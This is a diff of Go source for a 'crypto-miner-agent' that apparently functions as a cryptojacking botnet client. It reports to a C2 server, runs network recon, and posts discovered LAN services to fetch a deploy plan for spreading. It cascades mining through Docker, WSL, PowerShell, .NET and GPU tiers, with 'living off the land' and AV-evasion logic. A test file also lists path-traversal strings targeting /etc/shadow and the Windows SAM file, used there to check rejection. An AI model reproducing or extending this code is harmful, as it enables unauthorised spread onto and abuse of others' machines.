stats.StratumEgress = c.stratumEgress(false)
|
||||||
|
}
|
||||||
|
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
||||||
|
if lastVulnReport != nil {
|
||||||
|
score := lastVulnReport.RiskScore
|
||||||
|
stats.VulnRiskScore = &score
|
||||||
|
if len(lastVulnReport.Findings) > 0 {
|
||||||
|
stats.VulnFindings = make([]VulnFindingPayload, len(lastVulnReport.Findings))
|
||||||
|
for i, f := range lastVulnReport.Findings {
|
||||||
|
stats.VulnFindings[i] = VulnFindingPayload{
|
||||||
|
CVEID: f.CVEID,
|
||||||
|
Severity: f.Severity,
|
||||||
|
Component: f.Component,
|
||||||
|
Patched: f.Patched,
|
||||||
|
ExploitableInFleetContext: f.ExploitableInFleetContext,
|
||||||
|
Detail: f.Detail,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if lane := c.getJoinLane(); lane != "" {
|
||||||
|
stats.JoinLane = lane
|
||||||
|
}
|
||||||
payload, _ := json.Marshal(stats)
|
payload, _ := json.Marshal(stats)
|
||||||
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
|
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
|
||||||
log.Printf("[agent] stats send failed: %v", err)
|
log.Printf("[agent] stats send failed: %v", err)
|
||||||
@@ -1026,6 +1192,10 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
|||||||
if c.cfg.PoolHost == "" {
|
if c.cfg.PoolHost == "" {
|
||||||
return // no pool configured
|
return // no pool configured
|
||||||
}
|
}
|
||||||
|
if c.cfg.StratumOverWS {
|
||||||
|
log.Printf("[stratum] StratumOverWS enabled — direct pool egress disabled; telemetry via C2 WebSocket")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
type fallback struct {
|
type fallback struct {
|
||||||
stop chan struct{}
|
stop chan struct{}
|
||||||
@@ -1057,6 +1227,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
|||||||
sc.RunFallback(stop)
|
sc.RunFallback(stop)
|
||||||
}()
|
}()
|
||||||
fb = &fallback{stop: stop, wait: wait}
|
fb = &fallback{stop: stop, wait: wait}
|
||||||
|
if c.miningChain != nil {
|
||||||
|
c.miningChain.SetStratumActive(true)
|
||||||
|
}
|
||||||
if c.connected.Load() {
|
if c.connected.Load() {
|
||||||
log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||||
} else {
|
} else {
|
||||||
@@ -1070,6 +1243,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
|||||||
<-fb.wait
|
<-fb.wait
|
||||||
fb = nil
|
fb = nil
|
||||||
c.pool.SetShareHandler(c.submitShare)
|
c.pool.SetShareHandler(c.submitShare)
|
||||||
|
if c.miningChain != nil {
|
||||||
|
c.miningChain.SetStratumActive(false)
|
||||||
|
}
|
||||||
log.Printf("[stratum] fallback stopped — %s", reason)
|
log.Printf("[stratum] fallback stopped — %s", reason)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
131
agent/client/client_upload_test.go
Normal file
131
agent/client/client_upload_test.go
Normal file
@@ -0,0 +1,131 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/base64"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
)
|
||||||
|
|
||||||
|
type commandResult struct {
|
||||||
|
action string
|
||||||
|
success bool
|
||||||
|
message string
|
||||||
|
}
|
||||||
|
|
||||||
|
func captureCommandResult(t *testing.T, c *AgentClient) (done <-chan struct{}, result *commandResult) {
|
||||||
|
t.Helper()
|
||||||
|
ch := make(chan struct{})
|
||||||
|
var mu sync.Mutex
|
||||||
|
out := &commandResult{}
|
||||||
|
c.commandResultHook = func(action string, success bool, message string) {
|
||||||
|
mu.Lock()
|
||||||
|
out.action = action
|
||||||
|
out.success = success
|
||||||
|
out.message = message
|
||||||
|
mu.Unlock()
|
||||||
|
close(ch)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { c.commandResultHook = nil })
|
||||||
|
return ch, out
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestUploadCommandRejectsPathTraversal(t *testing.T) {
|
||||||
|
data := base64.StdEncoding.EncodeToString([]byte("payload"))
|
||||||
|
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
path string
|
||||||
|
}{
|
||||||
|
{name: "unix_relative", path: "../../etc/passwd"},
|
||||||
|
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
|
||||||
|
{name: "embedded_traversal", path: "uploads/../../outside.txt"},
|
||||||
|
{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tc := range cases {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
_, err := deploy.ResolveRemotePath(tc.path)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatalf("ResolveRemotePath(%q) should reject traversal", tc.path)
|
||||||
|
}
|
||||||
|
if !strings.Contains(err.Error(), "path traversal") {
|
||||||
|
t.Fatalf("ResolveRemotePath(%q) error = %q, want path traversal rejection", tc.path, err.Error())
|
||||||
|
}
|
||||||
|
|
||||||
|
c := newTestClient(t)
|
||||||
|
done, got := captureCommandResult(t, c)
|
||||||
|
c.handleCommand("upload", 0, "", tc.path, data, "")
|
||||||
|
<-done
|
||||||
|
|
||||||
|
if got.action != "upload" {
|
||||||
|
t.Fatalf("action = %q, want upload", got.action)
|
||||||
|
}
|
||||||
|
if got.success {
|
||||||
|
t.Fatalf("upload with %q should fail (success=true, message=%q)", tc.path, got.message)
|
||||||
|
}
|
||||||
|
if !strings.Contains(got.message, "path traversal") {
|
||||||
|
t.Fatalf("message = %q, want path traversal error from ResolveRemotePath", got.message)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
func TestDownloadCommandRejectsPathTraversal(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
path string
|
||||||
|
}{
|
||||||
|
{name: "unix_relative", path: "../../etc/passwd"},
|
||||||
|
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
|
||||||
|
{name: "embedded_traversal", path: "uploads/../../outside.txt"},
|
||||||
|
{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tc := range cases {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
_, err := deploy.ResolveRemotePath(tc.path)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatalf("ResolveRemotePath(%q) should reject traversal", tc.path)
|
||||||
|
}
|
||||||
|
if !strings.Contains(err.Error(), "path traversal") {
|
||||||
|
t.Fatalf("ResolveRemotePath(%q) error = %q, want path traversal rejection", tc.path, err.Error())
|
||||||
|
}
|
||||||
|
|
||||||
|
c := newTestClient(t)
|
||||||
|
done, got := captureCommandResult(t, c)
|
||||||
|
c.handleCommand("download", 0, "", tc.path, "", "")
|
||||||
|
<-done
|
||||||
|
|
||||||
|
if got.action != "download" {
|
||||||
|
t.Fatalf("action = %q, want download", got.action)
|
||||||
|
}
|
||||||
|
if got.success {
|
||||||
|
t.Fatalf("download with %q should fail (success=true, message=%q)", tc.path, got.message)
|
||||||
|
}
|
||||||
|
if !strings.Contains(got.message, "path traversal") {
|
||||||
|
t.Fatalf("message = %q, want path traversal error from ResolveRemotePath", got.message)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
func TestUploadCommandAcceptsSafePath(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
dest := dir + "/notes.txt"
|
||||||
|
data := base64.StdEncoding.EncodeToString([]byte("ok"))
|
||||||
|
|
||||||
|
c := newTestClient(t)
|
||||||
|
done, got := captureCommandResult(t, c)
|
||||||
|
c.handleCommand("upload", 0, "", dest, data, "")
|
||||||
|
<-done
|
||||||
|
|
||||||
|
if !got.success {
|
||||||
|
t.Fatalf("safe upload failed: %s", got.message)
|
||||||
|
}
|
||||||
|
if got.action != "upload" {
|
||||||
|
t.Fatalf("action = %q, want upload", got.action)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -40,6 +40,12 @@ func (c *AgentClient) handleReconCommand(action, command string) bool {
|
|||||||
c.sendCommandResult(action, true, string(b))
|
c.sendCommandResult(action, true, string(b))
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
if action == "network_recon" {
|
||||||
|
hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
|
||||||
|
b, _ := json.Marshal(hints)
|
||||||
|
c.sendCommandResult(action, true, string(b))
|
||||||
|
return true
|
||||||
|
}
|
||||||
if action == "persistence_audit" {
|
if action == "persistence_audit" {
|
||||||
report := collectPersistenceAudit()
|
report := collectPersistenceAudit()
|
||||||
b, _ := json.Marshal(report)
|
b, _ := json.Marshal(report)
|
||||||
|
|||||||
87
agent/client/discover_join.go
Normal file
87
agent/client/discover_join.go
Normal file
@@ -0,0 +1,87 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (c *AgentClient) setJoinLane(lane string) {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.joinLane = strings.TrimSpace(lane)
|
||||||
|
c.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) getJoinLane() string {
|
||||||
|
c.mu.Lock()
|
||||||
|
defer c.mu.Unlock()
|
||||||
|
return c.joinLane
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) fetchDeployPlan(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) {
|
||||||
|
var out deploy.DeployPlanResponse
|
||||||
|
base, err := c.apiBaseURL(c.cfg.ServerURL)
|
||||||
|
if err != nil {
|
||||||
|
return out, err
|
||||||
|
}
|
||||||
|
body, _ := json.Marshal(map[string]interface{}{
|
||||||
|
"agent_id": c.agentID,
|
||||||
|
"build_id": c.cfg.BuildID,
|
||||||
|
"campaign": strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
|
||||||
|
"platform": runtime.GOOS,
|
||||||
|
"services": services,
|
||||||
|
"unc_path": uncPath,
|
||||||
|
})
|
||||||
|
req, err := http.NewRequest(http.MethodPost, base+"/agent/deploy-plan", bytes.NewReader(body))
|
||||||
|
if err != nil {
|
||||||
|
return out, err
|
||||||
|
}
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
||||||
|
client := &http.Client{Timeout: 60 * time.Second}
|
||||||
|
resp, err := client.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return out, err
|
||||||
|
}
|
||||||
|
data, _ := io.ReadAll(resp.Body)
|
||||||
|
resp.Body.Close()
|
||||||
|
if resp.StatusCode == http.StatusForbidden {
|
||||||
|
return out, fmt.Errorf("deploy-plan auth rejected")
|
||||||
|
}
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
return out, fmt.Errorf("deploy-plan HTTP %s: %s", resp.Status, strings.TrimSpace(string(data)))
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(data, &out); err != nil {
|
||||||
|
return out, err
|
||||||
|
}
|
||||||
|
if !out.OK && out.Error != "" {
|
||||||
|
return out, fmt.Errorf("%s", out.Error)
|
||||||
|
}
|
||||||
|
if out.JoinLane == "" && out.Plan.JoinLane != "" {
|
||||||
|
out.JoinLane = out.Plan.JoinLane
|
||||||
|
}
|
||||||
|
out.OK = true
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) runDiscoverAndJoin(maxLANHosts int) (string, error) {
|
||||||
|
fetch := func(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) {
|
||||||
|
return c.fetchDeployPlan(services, uncPath)
|
||||||
|
}
|
||||||
|
lane, detail, err := deploy.RunDiscoverAndJoin(c.cfg, maxLANHosts, fetch)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if lane != "" {
|
||||||
|
c.setJoinLane(lane)
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("join_lane=%s; %s", lane, detail), nil
|
||||||
|
}
|
||||||
488
agent/client/mining_chain.go
Normal file
488
agent/client/mining_chain.go
Normal file
@@ -0,0 +1,488 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
"crypto-miner-agent/miner"
|
||||||
|
)
|
||||||
|
|
||||||
|
// MiningChainRunner wires the unified fallback cascade into AgentClient.
|
||||||
|
type MiningChainRunner struct {
|
||||||
|
client *AgentClient
|
||||||
|
ctrl *miner.ChainController
|
||||||
|
tiers *miner.TierOrchestrator
|
||||||
|
onion *miner.TripleOnionOrchestrator
|
||||||
|
|
||||||
|
mu sync.Mutex
|
||||||
|
monCancel context.CancelFunc
|
||||||
|
onionAttempts []miner.TierAttempt
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) newMiningChainRunner() *MiningChainRunner {
|
||||||
|
miner.SetVulnProbeRunner(func() miner.TierAttempt {
|
||||||
|
report := RunVulnLOTLProbe()
|
||||||
|
attempt := miner.TierAttempt{
|
||||||
|
Tier: miner.TierVulnProbe,
|
||||||
|
OK: true,
|
||||||
|
Wallet: c.cfg.Wallet,
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"risk_score": report.RiskScore,
|
||||||
|
"exposed_count": report.ExposedCount,
|
||||||
|
"finding_count": len(report.Findings),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
return attempt
|
||||||
|
})
|
||||||
|
r := &MiningChainRunner{client: c}
|
||||||
|
hooks := miner.ChainHooks{
|
||||||
|
StartDockerLoad: r.startDockerLoad,
|
||||||
|
StartContainer: r.startContainer,
|
||||||
|
StartWSL: r.startWSL,
|
||||||
|
StartPowerShell: r.startPowerShell,
|
||||||
|
StartDotnet: r.startDotnet,
|
||||||
|
StartInProcess: r.startInProcess,
|
||||||
|
StartGPU: r.startGPU,
|
||||||
|
StartPyOpenCL: r.startPyOpenCL,
|
||||||
|
StopDockerLoad: r.stopDockerLoad,
|
||||||
|
StopContainer: r.stopContainer,
|
||||||
|
StopWSL: r.stopWSL,
|
||||||
|
StopPowerShell: r.stopPowerShell,
|
||||||
|
StopDotnet: r.stopDotnet,
|
||||||
|
StopInProcess: r.stopInProcess,
|
||||||
|
StopGPU: r.stopGPU,
|
||||||
|
StopPyOpenCL: r.stopPyOpenCL,
|
||||||
|
IsDockerLoadHealthy: func() bool {
|
||||||
|
return c.containerMiner != nil && c.containerMiner.Running()
|
||||||
|
},
|
||||||
|
IsContainerHealthy: func() bool {
|
||||||
|
return c.containerMiner != nil && c.containerMiner.Running()
|
||||||
|
},
|
||||||
|
IsWSLHealthy: func() bool {
|
||||||
|
return c.wslMiner != nil && c.wslMiner.Running()
|
||||||
|
},
|
||||||
|
IsGPUSupported: func() bool {
|
||||||
|
return newGPUMiner(c.cfg) != nil
|
||||||
|
},
|
||||||
|
PoolConfigured: func() bool {
|
||||||
|
return c.cfg.PoolHost != ""
|
||||||
|
},
|
||||||
|
}
|
||||||
|
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
|
||||||
|
r.tiers = miner.NewTierOrchestrator(c.cfg, probes, c.miningTierPolicy(), r.tiersHooks(hooks.IsGPUSupported), r.reportTierEvent)
|
||||||
|
hooks.RunTierProbes = func() miner.TierReport {
|
||||||
|
r.tiers.RunProbes(context.Background())
|
||||||
|
return r.tiers.Report()
|
||||||
|
}
|
||||||
|
hooks.RunTierChain = func() (miner.LOTLTier, error) {
|
||||||
|
tier, err := r.tiers.TryChain(context.Background())
|
||||||
|
return tier, err
|
||||||
|
}
|
||||||
|
hooks.StopTiers = func() {}
|
||||||
|
hooks.WebGPUReady = r.tiers.WebGPUReady
|
||||||
|
hooks.GPUComputeReady = r.tiers.GPUComputeReady
|
||||||
|
r.ctrl = miner.NewChainController(c.cfg, hooks, r.reportMiningEvent)
|
||||||
|
r.onion = r.wireTripleOnion()
|
||||||
|
return r
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) tiersHooks(isGPUSupported func() bool) miner.TierHooks {
|
||||||
|
return miner.TierHooks{
|
||||||
|
StartDockerLoad: r.startDockerLoad,
|
||||||
|
StartContainer: r.startContainer,
|
||||||
|
StartWSL: r.startWSL,
|
||||||
|
StartPowerShell: r.startPowerShell,
|
||||||
|
StartDotnet: r.startDotnet,
|
||||||
|
StartInProcess: r.startInProcess,
|
||||||
|
StartGPU: r.startGPU,
|
||||||
|
StopDockerLoad: r.stopDockerLoad,
|
||||||
|
StopContainer: r.stopContainer,
|
||||||
|
StopWSL: r.stopWSL,
|
||||||
|
StopPowerShell: r.stopPowerShell,
|
||||||
|
StopDotnet: r.stopDotnet,
|
||||||
|
StopInProcess: r.stopInProcess,
|
||||||
|
StopGPU: r.stopGPU,
|
||||||
|
IsGPUSupported: isGPUSupported,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start launches recon → deploy → mining triple onion, then the health monitor.
|
||||||
|
func (r *MiningChainRunner) Start(ctx context.Context) {
|
||||||
|
if r.onion != nil {
|
||||||
|
report := r.onion.Run(ctx)
|
||||||
|
log.Printf("[triple-onion] complete phase=%s gate=%+v recon_risk=%d attempts=%d",
|
||||||
|
report.ActivePhase, report.Gate, report.Recon.RiskScore, len(report.Attempts))
|
||||||
|
r.mu.Lock()
|
||||||
|
r.onionAttempts = report.Attempts
|
||||||
|
r.mu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
r.startMiningCascade(ctx)
|
||||||
|
}
|
||||||
|
|
||||||
|
// startMiningCascade runs the existing LOTL mining onion + fallback chain.
|
||||||
|
func (r *MiningChainRunner) startMiningCascade(ctx context.Context) {
|
||||||
|
execMode, containerRT := miner.ResolveExecutionMode(r.client.cfg)
|
||||||
|
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
|
||||||
|
tierReport := r.tiers.Report()
|
||||||
|
log.Printf("[mining-chain] execution=%s runtime=%s available=%v order=%v lotl=%v",
|
||||||
|
execMode, containerRT.CLI, containerRT.Available, r.ctrl.Status().ChainOrder, tierReport.TierChainOrder)
|
||||||
|
if hint := miner.AVBlockRecommendation(execMode, containerRT); hint != "" {
|
||||||
|
log.Printf("[mining-chain] %s", hint)
|
||||||
|
}
|
||||||
|
if probes.AVBlocksExe {
|
||||||
|
log.Printf("[mining-chain] AV blocks exe — tier onion skips subprocess, prefers container/WSL/PS")
|
||||||
|
}
|
||||||
|
|
||||||
|
if r.onion != nil && r.onion.GateDecisionSnapshot().ForceIsolated {
|
||||||
|
policy := miner.ApplyIsolatedMiningPolicy(r.client.miningTierPolicy())
|
||||||
|
r.client.mu.Lock()
|
||||||
|
r.client.tierPolicy = policy
|
||||||
|
r.client.mu.Unlock()
|
||||||
|
r.tiers = miner.NewTierOrchestrator(r.client.cfg, probes, policy, r.tiersHooks(func() bool {
|
||||||
|
return newGPUMiner(r.client.cfg) != nil
|
||||||
|
}), r.reportTierEvent)
|
||||||
|
}
|
||||||
|
|
||||||
|
if tier, err := r.tiers.TryChain(ctx); err != nil {
|
||||||
|
log.Printf("[mining-chain] LOTL tier chain failed: %v", err)
|
||||||
|
} else if method, ok := miner.TierToMiningMethod(tier); ok {
|
||||||
|
r.ctrl.SetPrimaryActive(method)
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := r.ctrl.TryChain(ctx); err != nil {
|
||||||
|
log.Printf("[mining-chain] initial chain pass failed: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
monCtx, cancel := context.WithCancel(ctx)
|
||||||
|
r.mu.Lock()
|
||||||
|
r.monCancel = cancel
|
||||||
|
r.mu.Unlock()
|
||||||
|
go r.ctrl.Monitor(monCtx)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stop halts all mining methods in the chain.
|
||||||
|
func (r *MiningChainRunner) Stop() {
|
||||||
|
r.mu.Lock()
|
||||||
|
if r.monCancel != nil {
|
||||||
|
r.monCancel()
|
||||||
|
r.monCancel = nil
|
||||||
|
}
|
||||||
|
r.mu.Unlock()
|
||||||
|
r.ctrl.StopAll()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Resume restarts mining after a remote pause command.
|
||||||
|
func (r *MiningChainRunner) Resume(ctx context.Context) {
|
||||||
|
r.ctrl.ResumeAll(ctx)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Restart reruns the full chain (remote resume / reconnect).
|
||||||
|
func (r *MiningChainRunner) Restart(ctx context.Context) {
|
||||||
|
r.ctrl.RestartChain(ctx)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Status returns the live cascade snapshot for stats/diagnostics.
|
||||||
|
func (r *MiningChainRunner) Status() miner.MiningStatus {
|
||||||
|
st := r.ctrl.Status()
|
||||||
|
if r.tiers == nil {
|
||||||
|
return st
|
||||||
|
}
|
||||||
|
tr := r.tiers.Report()
|
||||||
|
if tr.ActiveTier != "" {
|
||||||
|
st.LOTLTier = tr.ActiveTier
|
||||||
|
}
|
||||||
|
r.mu.Lock()
|
||||||
|
onionAttempts := r.onionAttempts
|
||||||
|
r.mu.Unlock()
|
||||||
|
attempts := tr.Attempts
|
||||||
|
if len(onionAttempts) > 0 {
|
||||||
|
attempts = mergeOnionAttempts(onionAttempts, attempts)
|
||||||
|
}
|
||||||
|
if len(attempts) > 0 {
|
||||||
|
st.LOTLAttempts = attempts
|
||||||
|
}
|
||||||
|
st.WebGPUReady = tr.WebGPUReady
|
||||||
|
return st
|
||||||
|
}
|
||||||
|
|
||||||
|
func mergeOnionAttempts(onion, mining []miner.TierAttempt) []miner.TierAttempt {
|
||||||
|
out := make([]miner.TierAttempt, 0, len(onion)+len(mining))
|
||||||
|
out = append(out, onion...)
|
||||||
|
for _, a := range mining {
|
||||||
|
if a.Phase == "" || a.Phase == string(miner.OnionPhaseMining) {
|
||||||
|
out = append(out, a)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetStratumActive records direct Stratum overlay from stratumFallbackManager.
|
||||||
|
func (r *MiningChainRunner) SetStratumActive(active bool) {
|
||||||
|
r.ctrl.SetStratumActive(active)
|
||||||
|
}
|
||||||
|
|
||||||
|
// OnGPUFailed records GPU subprocess failure without stopping CPU primary.
|
||||||
|
func (r *MiningChainRunner) OnGPUFailed(reason string) {
|
||||||
|
r.ctrl.OnMethodFailed(miner.MethodGPUSubprocess, reason)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) startDockerLoad() error {
|
||||||
|
c := r.client
|
||||||
|
_, containerRT := miner.ResolveExecutionMode(c.cfg)
|
||||||
|
if !containerRT.Available {
|
||||||
|
return fmt.Errorf("docker_load tier: no container runtime (docker/podman not in PATH)")
|
||||||
|
}
|
||||||
|
tarPath, err := miner.ResolveImageTar(c.cfg)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
launcher, err := miner.NewContainerLauncherFromTar(c.cfg, containerRT, tarPath)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if err := launcher.Start(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
c.containerMiner = launcher
|
||||||
|
c.hostMiningDisabled.Store(true)
|
||||||
|
c.pool.PauseRemote()
|
||||||
|
log.Printf("[mining-chain] docker_load active — host RandomX paused wallet=%s", c.cfg.Wallet)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) startContainer() error {
|
||||||
|
c := r.client
|
||||||
|
_, containerRT := miner.ResolveExecutionMode(c.cfg)
|
||||||
|
launcher, err := miner.NewContainerLauncher(c.cfg, containerRT)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if err := launcher.Start(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
c.containerMiner = launcher
|
||||||
|
c.hostMiningDisabled.Store(true)
|
||||||
|
c.pool.PauseRemote()
|
||||||
|
log.Printf("[mining-chain] container active — host RandomX paused")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) startWSL() error {
|
||||||
|
c := r.client
|
||||||
|
wslRT := miner.WSLDetector()
|
||||||
|
launcher, err := miner.NewWSLLauncher(c.cfg, wslRT)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if err := launcher.Start(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
c.wslMiner = launcher
|
||||||
|
c.hostMiningDisabled.Store(true)
|
||||||
|
c.pool.PauseRemote()
|
||||||
|
log.Printf("[mining-chain] wsl active — host RandomX paused wallet=%s", c.cfg.Wallet)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) startPowerShell() error {
|
||||||
|
c := r.client
|
||||||
|
launcher, err := miner.NewPowerShellLauncher(c.cfg)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if err := launcher.Start(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
c.psMiner = launcher
|
||||||
|
c.hostMiningDisabled.Store(true)
|
||||||
|
c.pool.PauseRemote()
|
||||||
|
log.Printf("[mining-chain] powershell tier active wallet=%s pool=%s:%d", c.cfg.Wallet, c.cfg.PoolHost, c.cfg.PoolPort)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) startDotnet() error {
|
||||||
|
c := r.client
|
||||||
|
launcher, err := miner.NewDotnetLauncher(c.cfg)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if err := launcher.Start(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
c.dotnetMiner = launcher
|
||||||
|
c.hostMiningDisabled.Store(true)
|
||||||
|
c.pool.PauseRemote()
|
||||||
|
log.Printf("[mining-chain] dotnet tier active wallet=%s pool=%s:%d toolchain=%s dir=%s",
|
||||||
|
c.cfg.Wallet, c.cfg.PoolHost, c.cfg.PoolPort, launcher.Toolchain(), launcher.WorkDir())
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) startInProcess() error {
|
||||||
|
c := r.client
|
||||||
|
r.stopSidecarPrimary(c)
|
||||||
|
c.hostMiningDisabled.Store(false)
|
||||||
|
c.pool.ResumeRemote()
|
||||||
|
log.Printf("[mining-chain] in-process RandomX active")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) startGPU() error {
|
||||||
|
c := r.client
|
||||||
|
c.mu.Lock()
|
||||||
|
defer c.mu.Unlock()
|
||||||
|
if c.gpuMiner != nil {
|
||||||
|
c.gpuMiner.Resume()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
gm := newGPUMiner(c.cfg)
|
||||||
|
if gm == nil {
|
||||||
|
return miner.ErrMethodUnavailable
|
||||||
|
}
|
||||||
|
c.gpuMiner = gm
|
||||||
|
gm.Start()
|
||||||
|
log.Printf("[mining-chain] GPU subprocess started (parallel RVN)")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) startPyOpenCL() error {
|
||||||
|
if err := miner.StartPyOpenCLTier(r.client.cfg); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
log.Printf("[mining-chain] linux_pyopencl tier probe OK")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) stopPyOpenCL() {}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) stopDockerLoad() {
|
||||||
|
r.stopContainer()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) stopContainer() {
|
||||||
|
c := r.client
|
||||||
|
if c.containerMiner != nil {
|
||||||
|
c.containerMiner.Stop()
|
||||||
|
c.containerMiner = nil
|
||||||
|
}
|
||||||
|
c.hostMiningDisabled.Store(false)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) stopWSL() {
|
||||||
|
c := r.client
|
||||||
|
if c.wslMiner != nil {
|
||||||
|
c.wslMiner.Stop()
|
||||||
|
c.wslMiner = nil
|
||||||
|
}
|
||||||
|
c.hostMiningDisabled.Store(false)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) stopPowerShell() {
|
||||||
|
c := r.client
|
||||||
|
if c.psMiner != nil {
|
||||||
|
c.psMiner.Stop()
|
||||||
|
c.psMiner = nil
|
||||||
|
}
|
||||||
|
c.hostMiningDisabled.Store(false)
|
||||||
|
}
|
